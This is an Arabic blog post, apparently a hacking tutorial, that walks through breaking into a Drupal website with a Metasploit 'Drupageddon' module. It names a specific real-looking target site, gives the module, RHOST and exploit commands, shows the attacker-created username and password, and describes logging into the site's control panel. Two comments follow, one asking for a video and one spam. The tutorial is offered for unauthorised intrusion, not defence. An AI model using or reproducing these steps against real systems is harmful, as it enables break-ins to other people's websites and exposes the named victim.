.

كيفيه إستغلال ثغرة drupa لإختراق المواقع

بسم الله الرحمن الرحيم 
================
كيف يتم اختراق المواقع عن طريق ثغرة سكربت drupa 
أولا تعريف بالثغره 
هى ثغره تمكنك من إنشاء User و Password للموقع مره ثانيا 
و يتم إستغلالها عن طريق Metasploit
اولا هذه الصوره توضح الموقع الذى سوف يتم إختراقه 
رابط الموقع : www.avicenna-endocrin.ru

ثانيا نقوم بفتح Metasploit ولا يفترض ان تكون على نظام linux او windows
ثم نكتب الأمر
 use exploit/multi/http/drubal_drupageddon
و نضعط Entre

ثالثا نكتب الأمر 
set RHOST ......
حيث تشير النقط إلى رابط الموقع دون البروتكول http 
فيكون الأمر  
set RHOST www.avicenna-endocrin.ru
ثم نضغط Entre

ثم نكتب الأمر
exploit

نلاحظ كما بالصوره أنه تم إنشاء 
username : WDtEDOBKSV

و تم إنشاء 
Password : qbGQoveboG

ثم نذهب إلى الموقع و نضيف على الموقع /user 
فيصبح الموقع 
www.avicenna-endocrin.ru/user
ثم نضغط Entre

نلاحظ ظهور لوحه التحكم 
حيث يشير رقم 1 إلى username و هو WDtEDOBKSV 
و يشير رقم 2 إلى Password و هو qbGQoveboG

و هكذا تم التسجيل بنجاح

و إلى هنا ينتهى شرح هذه الثغره و سوف تجدون الأوامر و بعض الدوركات من هنا 

2 التعليقات

??? التعليقات
Unknown
admin
24 فبراير 2016 في 2:38 ص ×

اخي انا احتراف الهاكر لو سمحت نزل لاشرح على قناتك في يوتيب

????? ????
avatar
5 مارس 2022 في 5:32 ص ×

Titanium Dabs nail | Titanium-ART
Our Titanium Dabs nail is a aluminum vs titanium high quality nail ford escape titanium for sale art nail art nail made in Solingen, Germany. A high quality nail art titanium coating nail made titanium nipple barbells in used ford edge titanium Solingen, Germany.

????? ????
avatar
???? ?? ??? ???????